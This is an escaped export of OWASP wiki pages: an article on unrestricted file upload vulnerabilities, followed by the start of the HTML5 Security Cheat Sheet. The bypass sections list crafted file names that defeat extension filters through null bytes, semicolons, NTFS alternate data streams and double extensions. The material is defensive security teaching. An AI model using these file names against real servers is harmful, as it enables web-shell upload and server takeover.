Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&lt;br /&gt;
[[ASDR TOC Vulnerabilities|Vulnerabilities Table of Contents]] &lt;br /&gt;
&lt;br /&gt;
== Description  ==&lt;br /&gt;
&lt;br /&gt;
Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.&lt;br /&gt;
&lt;br /&gt;
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.&lt;br /&gt;
&lt;br /&gt;
There are really two classes of problems here. The first is with the file metadata, like the path and file name. These are generally provided by the transport, such as HTTP multi-part encoding. This data may trick the application into overwriting a critical file or storing the file in a bad location. You must validate the metadata extremely carefully before using it.&lt;br /&gt;
&lt;br /&gt;
The other class of problem is with the file size or content. The range of problems here depends entirely on what the file is used for. See the examples below for some ideas about how files might be misused. To protect against this type of attack, you should analyze everything your application does with files and think carefully about what processing and interpreters are involved.&lt;br /&gt;
&lt;br /&gt;
== Risk Factors ==&lt;br /&gt;
&lt;br /&gt;
* The impact of this vulnerability is high, supposed code can be executed in the server context or on the client. The likelihood of a detection for the attacker is high. The prevalence is common. As a result the severity of this type of vulnerability is High.&lt;br /&gt;
* The web server can be compromised by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth. This may also result in a defacement.&lt;br /&gt;
* An attacker might be able to put a phishing page into the website.&lt;br /&gt;
* An attacker might be able to put stored XSS into the website.&lt;br /&gt;
&amp;lt;!-- *Local file inclusion vulnerabilities can be exploited by uploading a malicious file into the server. --&amp;gt;&lt;br /&gt;
* This vulnerability can make the website vulnerable to some other types of attacks such as [[Cross-site Scripting (XSS)|XSS]].&lt;br /&gt;
* Picture uploads may trigger vulnerabilities in broken picture libraries on a client (libtiff, IE had problems in the past) if the picture is published 1:1.&lt;br /&gt;
* Script code or other code may be embedded in the uploaded file, which gets executed if the picture is published 1:1.&lt;br /&gt;
* Local vulnerabilities of real-time monitoring tools, such as an antivirus, can be exploited.&lt;br /&gt;
* A malicious file (Unix shell script, windows virus, reverse shell) can be uploaded on the server in order to execute code by an administrator or webmaster later -- on the server or on a client of the admin or webmaster.&lt;br /&gt;
* The web server might be used as a server in order to host of malware, illegal software, porn, and other objects.&lt;br /&gt;
&lt;br /&gt;
== Examples  ==&lt;br /&gt;
&lt;br /&gt;
=== Attacks on application platform  ===&lt;br /&gt;
&lt;br /&gt;
*Upload .jsp file into web tree - jsp code executed as web user &lt;br /&gt;
*Upload .gif to be resized - image library flaw exploited &lt;br /&gt;
*Upload huge files - file space denial of service &lt;br /&gt;
*Upload file using malicious path or name - overwrite critical file &lt;br /&gt;
*Upload file containing personal data - other users access it &lt;br /&gt;
*Upload file containing &amp;quot;tags&amp;quot; - tags get executed as part of being &amp;quot;included&amp;quot; in a web page&lt;br /&gt;
&lt;br /&gt;
=== Attacks on other systems  ===&lt;br /&gt;
&lt;br /&gt;
*Upload .exe file into web tree - victims download trojaned executable &lt;br /&gt;
*Upload virus infected file - victims' machines infected &lt;br /&gt;
*Upload .html file containing script - victim experiences [[Cross-site Scripting (XSS)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Weak Protection Methods and Methods of Bypassing  ==&lt;br /&gt;
&lt;br /&gt;
=== Using Black-List for Files’ Extensions  ===&lt;br /&gt;
&lt;br /&gt;
Some web applications still use only a black-list of extensions to prevent from uploading a malicious file. &lt;br /&gt;
&lt;br /&gt;
*It is possible to bypass this protection by using some extensions which are executable on the server but are not mentioned in the list. (Example: “file.php5”, “file.shtml”, “file.asa”, or “file.cer”) &lt;br /&gt;
*Sometimes it is possible to bypass this protection by changing some letters of extension to the capital form (example: “file.aSp” or “file.PHp3”). &lt;br /&gt;
*Using trailing spaces and/or dots at the end of the filename can sometimes cause bypassing the protection. These spaces and/or dots at the end of the filename will be removed when the file wants to be saved on the hard disk automatically. The filename can be sent to the server by using a local proxy or using a simple script (example: “file.asp ... ... . . .. ..”, “file.asp ”, or “file.asp.”).&lt;br /&gt;
*A web-server may use the first extension after the first dot (“.”) in the file name or use a specific priority algorithm to detect the file extension. Therefore, protection can be bypassed by uploading a file with two extensions after the dot character. The first one is forbidden, and the second one is permitted (example: “file.php.jpg”).&lt;br /&gt;
*In case of using IIS6 (or prior versions), it might be possible to bypass this protection by adding a semi-colon after the forbidden extension and before the permitted extension (example: “file.asp;.jpg”).&lt;br /&gt;
*In case of using IIS6 (or prior versions), it might be possible to bypass this protection by putting an executive file such as ASP with another extension in a folder which ends with an executive extension such as “.asp” (example: “folder.asp\file.txt”). Besides, it is possible to create a directory just by using a file uploader and ADS (Alternate Data Stream). In this method, filename should end with “::$Index_Allocation” or “:$I30:$Index_Allocation” to create a directory instead of a file (example:  “newfolder.asp::$Index_Allocation” creates “newfolder.asp” as a new directory).&lt;br /&gt;
*This protection can be completely bypassed by using the e.g. control characters like Null (0x00) after the forbidden extension and before the permitted one. In this method, during the saving process all the strings after the Null character will be discarded. Putting a Null character in the filename can be simply done by using a local proxy or by using a script (example: “file.asp%00.jpg”). Besides, it would be perfect if the Null character is inserted directly by using the Hex view option of a local proxy such as Burpsuite or Webscarab in the right place (without using&amp;amp;nbsp;%). &lt;br /&gt;
*It is also possible to create a file with a forbidden extension by using NTFS alternate data stream (ADS). In this case, a “:” sign will be inserted after the forbidden extension and before the permitted one. As a result, an empty file with the forbidden extension will be created on the server (example: “file.asp:.jpg”). Attacker can try to edit this file later to execute his/her malicious codes. However, an empty file is not always good for an attacker. So, there is an invented method by the author of this paper in which an attacker can upload a non-empty shell file by using the ADS. In this method, a forbidden file can be uploaded by using this pattern: “file.asp::$data.”.&lt;br /&gt;
*In Windows Servers, it is possible to replace the files by using their short-name (8.3). (example: “web.config” can be replaced by uploading “web~1.con”)&lt;br /&gt;
*Sometimes combination of the above can lead to bypassing the protections.&lt;br /&gt;
&lt;br /&gt;
=== Using White-List for Files’ Extensions  ===&lt;br /&gt;
&lt;br /&gt;
Many web applications use a white-list to accept the files’ extensions. Although using white-list is one of the recommendations, it is not enough on its own. Without having input validation, there is still a chance for an attacker to bypass the protections. &lt;br /&gt;
&lt;br /&gt;
*the 3rd, 4th, 5th, and 6th methods of last section apply here as well. &lt;br /&gt;
*The list of permitted extensions should be reviewed as it can contain malicious extension as well. For instance, in case of having “.shtml” in the list, the application can be vulnerable to SSI attacks.&lt;br /&gt;
&lt;br /&gt;
=== Using “Content-Type” from the Header  ===&lt;br /&gt;
&lt;br /&gt;
“Content-Type” entity in the header of the request indicates the Internet media type of the message content . Sometimes web applications use this parameter in order to recognize a file as a good one. For instance, they only accept the files with the “Content-Type” of “text/plain”. &lt;br /&gt;
&lt;br /&gt;
*It is possible to bypass this protection by changing this parameter in the request header by using a local proxy.&lt;br /&gt;
&lt;br /&gt;
=== Using a File Type Recogniser  ===&lt;br /&gt;
&lt;br /&gt;
Sometimes web applications intentionally or unintentionally use some functions (or APIs) to check the type of the file in order to do further process. For instance, in case of having image resizing, it is probable to have image type recogniser. &lt;br /&gt;
&lt;br /&gt;
*Sometimes the recognisers just read the few first characters (or header) of the files in order to check them. In this case, an attacker can insert the malicious code after some valid header. &lt;br /&gt;
*There are always some places in the structure of the files which are for the comments section and have no effect on the main file. And, an attacker can insert malicious codes in these points. &lt;br /&gt;
*Also, it is not impossible to think about a file modifier (for example an image resizer) which produces malicious codes itself in case of receiving special input.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Prevention Methods (Solutions to be more secure) ==&lt;br /&gt;
In order to make a Windows server more secure, it is very important to follow the Microsoft security best practices first. For this purpose, some of the useful links are:&lt;br /&gt;
*IIS 6.0 Security Best Practices[http://technet.microsoft.com/en-us/library/cc782762(WS.10).aspx]&lt;br /&gt;
*Securing Sites with Web Site Permissions[http://technet.microsoft.com/en-us/library/cc756133(WS.10).aspx]&lt;br /&gt;
*IIS 6.0 Operations Guide[http://technet.microsoft.com/en-us/library/cc785089(WS.10).aspx]&lt;br /&gt;
*Improving Web Application Security: Threats and Countermeasures[http://msdn.microsoft.com/en-us/library/ms994921.aspx]&lt;br /&gt;
*Understanding the Built-In User and Group Accounts in IIS 7.0[http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/]&lt;br /&gt;
*IIS Security Checklist[http://windows.stanford.edu/docs/IISsecchecklist.htm]&lt;br /&gt;
And some special recommendations for the developers and webmasters:&lt;br /&gt;
*Never accept a filename and its extension directly without having a white-list filter.&lt;br /&gt;
*It is necessary to have a list of only permitted extensions on the web application. And, file extension can be selected from the list. For instance, it can be a “select case” syntax (in case of having VBScript) to choose the file extension in regard to the real file extension.&lt;br /&gt;
*All the control characters  and Unicode ones should be removed from the filenames and their extensions without any exception. Also, the special characters such as “;”, “:”, “&amp;gt;”, “&amp;lt;”, “/” ,”\”, additional “.”, “*”, “%”, “$”, and so on should be discarded as well. If it is applicable and there is no need to have Unicode characters, it is highly recommended to only accept Alpha-Numeric characters and only 1 dot as an input for the file name and the extension; in which the file name and also the extension should not be empty at all (regular expression: [a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).&lt;br /&gt;
*Limit the filename length. For instance, the maximum length of the name of a file plus its extension should be less than 255 characters (without any directory) in an NTFS partition.&lt;br /&gt;
*It is recommended to use an algorithm to determine the filenames. For instance, a filename can be a MD5 hash of the name of file plus the date of the day.&lt;br /&gt;
*Uploaded directory should not have any “execute” permission.&lt;br /&gt;
*Limit the file size to a maximum value in order to prevent denial of service attacks (on file space or other web application’s functions such as the image resizer).&lt;br /&gt;
*Restrict small size files as they can lead to denial of service attacks. So, the minimum size of files should be considered.&lt;br /&gt;
*Use Cross Site Request Forgery protection methods.&lt;br /&gt;
*Prevent from overwriting a file in case of having the same hash for both.&lt;br /&gt;
*Use a virus scanner on the server (if it is applicable). Or, if the contents of files are not confidential, a free virus scanner website can be used. In this case, file should be stored with a random name and without any extension on the server first, and after the virus checking (uploading to a free virus scanner website and getting back the result), it can be renamed to its specific name and extension.&lt;br /&gt;
*Try to use POST method instead of PUT (or GET!)&lt;br /&gt;
*Log users’ activities. However, the logging mechanism should be secured against log forgery and code injection itself.&lt;br /&gt;
*In case of having compressed file extract functions, contents of the compressed file should be checked one by one as a new file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Related [[Attacks]]  ==&lt;br /&gt;
&lt;br /&gt;
* [[Path Traversal]]&lt;br /&gt;
* [[Path Manipulation]]&lt;br /&gt;
* [[Relative Path Traversal]]&lt;br /&gt;
* [[Windows_::DATA_alternate_data_stream]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
== Related [[Controls]]  ==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
== Related [[Threat Agent]]  ==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:External Threat Agent]]&lt;br /&gt;
* [[:Category:Internal Threat Agent]]&lt;br /&gt;
* [[:Category:Internet attacker]]&lt;br /&gt;
* [[:Category:Intranet attacker]]&lt;br /&gt;
&lt;br /&gt;
== Related [[Technical Impacts]]  ==&lt;br /&gt;
&lt;br /&gt;
* [[System Access]]&lt;br /&gt;
* [[Security Bypass]]&lt;br /&gt;
* [[Exposure of system information]]&lt;br /&gt;
* [[Exposure of sensitive information]]&lt;br /&gt;
* [[Client Side Threat]]&lt;br /&gt;
&lt;br /&gt;
== References  ==&lt;br /&gt;
&lt;br /&gt;
*Improve File Uploaders’ Protections – Bypass Methods- Rev. 1.0 http://soroush.secproject.com/blog/2010/03/improve-file-uploaders%e2%80%99-protections-rev-1-0/ &lt;br /&gt;
*IIS6/ASP &amp;amp; file upload for fun and profit http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/&lt;br /&gt;
*Secure file upload in PHP web applications http://www.net-security.org/dl/articles/php-file-upload.pdf&lt;br /&gt;
*Potentially Dangerous File Types http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf&lt;br /&gt;
*Image Upload XSS http://ha.ckers.org/blog/20070603/image-upload-xss/&lt;br /&gt;
*Code Execution Through Filenames in Uploads http://ha.ckers.org/blog/20070620/code-execution-through-filenames-in-uploads/&lt;br /&gt;
*Secure File Upload Check List With PHP http://hungred.com/useful-information/secure-file-upload-check-list-php/&lt;br /&gt;
*NTFS in WikiPedia http://en.wikipedia.org/wiki/NTFS&lt;br /&gt;
*NTFS Streams http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10).aspx&lt;br /&gt;
*NTFS - Glossary http://inform.pucp.edu.pe/~inf232/Ntfs/ntfs_doc_v0.5/help/glossary.html&lt;br /&gt;
*IIS 6.0 Security Best Practices http://technet.microsoft.com/en-us/library/cc782762(WS.10).aspx&lt;br /&gt;
*Securing Sites with Web Site Permissions http://technet.microsoft.com/en-us/library/cc756133(WS.10).aspx&lt;br /&gt;
*IIS 6.0 Operations Guide http://technet.microsoft.com/en-us/library/cc785089(WS.10).aspx&lt;br /&gt;
*Improving Web Application Security: Threats and Countermeasures http://msdn.microsoft.com/en-us/library/ms994921.aspx&lt;br /&gt;
*Understanding the Built-In User and Group Accounts in IIS 7.0 http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/&lt;br /&gt;
*IIS Security Checklist http://windows.stanford.edu/docs/IISsecchecklist.htm&lt;br /&gt;
*Microsoft IIS ASP Multiple Extensions Security Bypass http://secunia.com/advisories/37831/&lt;br /&gt;
*CVE-2009-4444 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444&lt;br /&gt;
*CVE-2009-4445 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445&lt;br /&gt;
*CVE-2009-1535 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:File System]]&lt;br /&gt;
[[Category:Windows]]&lt;br /&gt;
[[Category:Unix]]&lt;br /&gt;
[[Category:Use of Dangerous API]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=166180</id>
		<title>HTML5 Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=166180"/>
				<updated>2014-01-21T15:56:38Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: Minor tidying.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Introduction  =&lt;br /&gt;
&lt;br /&gt;
The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion. &lt;br /&gt;
&lt;br /&gt;
=  General Guidelines =&lt;br /&gt;
&lt;br /&gt;
== Communication APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Web Messaging ===&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. However, there are still some recommendations to keep in mind: &lt;br /&gt;
&lt;br /&gt;
* When posting a message, explicitly state the expected origin as the second argument to &amp;lt;tt&amp;gt;postMessage&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.&lt;br /&gt;
* The receiving page should '''always''':&lt;br /&gt;
** Check the &amp;lt;tt&amp;gt;origin&amp;lt;/tt&amp;gt; attribute of the sender to verify the data is originating from the expected location.&lt;br /&gt;
** Perform input validation on the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute of the event to ensure that it's in the desired format.&lt;br /&gt;
* Don't assume you have control over the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute. A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in the sending page allows an attacker to send messages of any given format.&lt;br /&gt;
* Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via &amp;lt;tt&amp;gt;eval()&amp;lt;/tt&amp;gt;) or insert it to a page DOM (e.g. via &amp;lt;tt&amp;gt;innerHTML&amp;lt;/tt&amp;gt;), as that would create a DOM-based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
* To assign the data value to an element, instead of using a insecure method like &amp;lt;tt&amp;gt;element.innerHTML = data;&amp;lt;/tt&amp;gt;, use the safer option: &amp;lt;tt&amp;gt;element.textContent = data;&amp;lt;/tt&amp;gt;&lt;br /&gt;
* Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: &amp;lt;tt&amp;gt; if(message.orgin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) { /* ... */ }&amp;lt;/tt&amp;gt; is very insecure and will not have the desired behavior as &amp;lt;tt&amp;gt;www.owasp.org.attacker.com&amp;lt;/tt&amp;gt; will match.&lt;br /&gt;
* If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]].&lt;br /&gt;
&lt;br /&gt;
=== Cross Origin Resource Sharing  ===&lt;br /&gt;
&lt;br /&gt;
* Validate URLs passed to &amp;lt;tt&amp;gt;XMLHttpRequest.open&amp;lt;/tt&amp;gt;. Current browsers allow these URLs to be cross domain; this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.&lt;br /&gt;
* Ensure that URLs responding with &amp;lt;tt&amp;gt;Access-Control-Allow-Origin: *&amp;lt;/tt&amp;gt; do not include any sensitive content or information that might aid attacker in further attacks. Use the &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.&lt;br /&gt;
* Allow only selected, trusted domains in the &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; wildcard nor blindly return the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; header content without any checks).&lt;br /&gt;
* Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention. &lt;br /&gt;
* While the RFC recommends a pre-flight request with the &amp;lt;tt&amp;gt;OPTIONS&amp;lt;/tt&amp;gt; verb, current implementations might not perform this request, so it's important that &amp;quot;ordinary&amp;quot; (&amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt;) requests perform any access control necessary.&lt;br /&gt;
* Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.&lt;br /&gt;
* Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
=== WebSockets  ===&lt;br /&gt;
&lt;br /&gt;
* Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure. &lt;br /&gt;
* The recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10).&lt;br /&gt;
* While it's relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program. &lt;br /&gt;
* The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.&lt;br /&gt;
* Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead.&lt;br /&gt;
* Endpoints exposed through the &amp;lt;tt&amp;gt;ws://&amp;lt;/tt&amp;gt; protocol are easily reversible to plain text. Only &amp;lt;tt&amp;gt;wss://&amp;lt;/tt&amp;gt; (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks.&lt;br /&gt;
* Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered. &lt;br /&gt;
* When implementing servers, check the &amp;lt;tt&amp;gt;Origin:&amp;lt;/tt&amp;gt; header in the Websockets handshake. Though it might be spoofed outside a browser, browsers always add the Origin of the page that initiated the Websockets connection.&lt;br /&gt;
* As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross Site Scripting]]. Always validate data coming through a WebSockets connection.&lt;br /&gt;
&lt;br /&gt;
=== Server-Sent Events ===&lt;br /&gt;
&lt;br /&gt;
* Validate URLs passed to the &amp;lt;tt&amp;gt;EventSource&amp;lt;/tt&amp;gt; constructor, even though only same-origin URLs are allowed.&lt;br /&gt;
* As mentioned before, process the messages (&amp;lt;tt&amp;gt;event.data&amp;lt;/tt&amp;gt;) as data and never evaluate the content as HTML or script code.&lt;br /&gt;
* Always check the origin attribute of the message (&amp;lt;tt&amp;gt;event.origin&amp;lt;/tt&amp;gt;) to ensure the message is coming from a trusted domain. Use a whitelist approach.&lt;br /&gt;
&lt;br /&gt;
== Storage APIs ==&lt;br /&gt;
&lt;br /&gt;
=== Local Storage ===&lt;br /&gt;
&lt;br /&gt;
*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.&lt;br /&gt;
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.&lt;br /&gt;
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.&lt;br /&gt;
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the &amp;lt;tt&amp;gt;httpOnly&amp;lt;/tt&amp;gt; flag.&lt;br /&gt;
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.&lt;br /&gt;
&lt;br /&gt;
=== Client-side databases  ===&lt;br /&gt;
&lt;br /&gt;
* On November 2010, the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed, which provides key/value database storage and methods for performing advanced queries.&lt;br /&gt;
* Underlying storage mechanisms may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. &lt;br /&gt;
* If utilized, WebDatabase content on the client side can be vulnerable to SQL injection and needs to have proper validation and parameterization.&lt;br /&gt;
* Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database as well. Don't consider data in these to be trusted.&lt;br /&gt;
&lt;br /&gt;
== Geolocation  ==&lt;br /&gt;
&lt;br /&gt;
* The Geolocation RFC recommends that the user agent ask the user's permission before calculating location. Whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling &amp;lt;tt&amp;gt;getCurrentPosition&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;watchPosition&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Web Workers  ==&lt;br /&gt;
&lt;br /&gt;
* Web Workers are allowed to use &amp;lt;tt&amp;gt;XMLHttpRequest&amp;lt;/tt&amp;gt; object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security. &lt;br /&gt;
* While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input. &lt;br /&gt;
* Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a&amp;amp;nbsp;[[DOM Based XSS|DOM Based XSS]]&amp;amp;nbsp;vulnerability.&lt;br /&gt;
&lt;br /&gt;
== Sandboxed frames  ==&lt;br /&gt;
&lt;br /&gt;
* Use the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; for untrusted content.&lt;br /&gt;
* The &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; enables restrictions on content within a &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt;. The following restrictions are active when the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute is set:&lt;br /&gt;
*# All markup is treated as being from a unique origin.&lt;br /&gt;
*# All forms and scripts are disabled.&lt;br /&gt;
*# All links are prevented from targeting other browsing contexts.&lt;br /&gt;
*# All features that triggers automatically are blocked.&lt;br /&gt;
*# All plugins are disabled.&lt;br /&gt;
&lt;br /&gt;
It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; capabilities using the value of the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute.&lt;br /&gt;
&lt;br /&gt;
* In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.&lt;br /&gt;
* Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header &amp;lt;tt&amp;gt;X-Frame-Options&amp;lt;/tt&amp;gt; which supports the &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; values. Other solutions like framebusting &amp;lt;tt&amp;gt;if(window!== window.top) { window.top.location = location; }&amp;lt;/tt&amp;gt; are not recommended.&lt;br /&gt;
&lt;br /&gt;
== Offline Applications ==&lt;br /&gt;
&lt;br /&gt;
* Whether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted varies from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any &amp;lt;tt&amp;gt;manifest&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
* Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.&lt;br /&gt;
&lt;br /&gt;
== Progressive Enhancements and Graceful Degradation Risks  ==&lt;br /&gt;
&lt;br /&gt;
* The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the &amp;amp;lt;video&amp;amp;gt; tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.&lt;br /&gt;
&lt;br /&gt;
== HTTP Headers to enhance security ==&lt;br /&gt;
&lt;br /&gt;
=== X-Frame-Options ===&lt;br /&gt;
&lt;br /&gt;
* This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header).&lt;br /&gt;
* Use the &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; attribute to allow being framed from urls of the same origin or &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; to block all. Example: &amp;lt;tt&amp;gt;X-Frame-Options: DENY&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== X-XSS-Protection ===&lt;br /&gt;
&lt;br /&gt;
* Enable XSS filter (only works for Reflected XSS).&lt;br /&gt;
* Example: &amp;lt;tt&amp;gt;X-XSS-Protection: 1; mode=block&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Strict Transport Security ===&lt;br /&gt;
&lt;br /&gt;
* Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks).&lt;br /&gt;
* Use includeSubDomains.&lt;br /&gt;
* Example: Strict-Transport-Security: max-age=8640000; includeSubDomains&lt;br /&gt;
&lt;br /&gt;
=== Content Security Policy ===&lt;br /&gt;
&lt;br /&gt;
* Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting.&lt;br /&gt;
* Example:  X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com&lt;br /&gt;
&lt;br /&gt;
=== Origin ===&lt;br /&gt;
&lt;br /&gt;
* Sent by CORS/WebSockets requests.&lt;br /&gt;
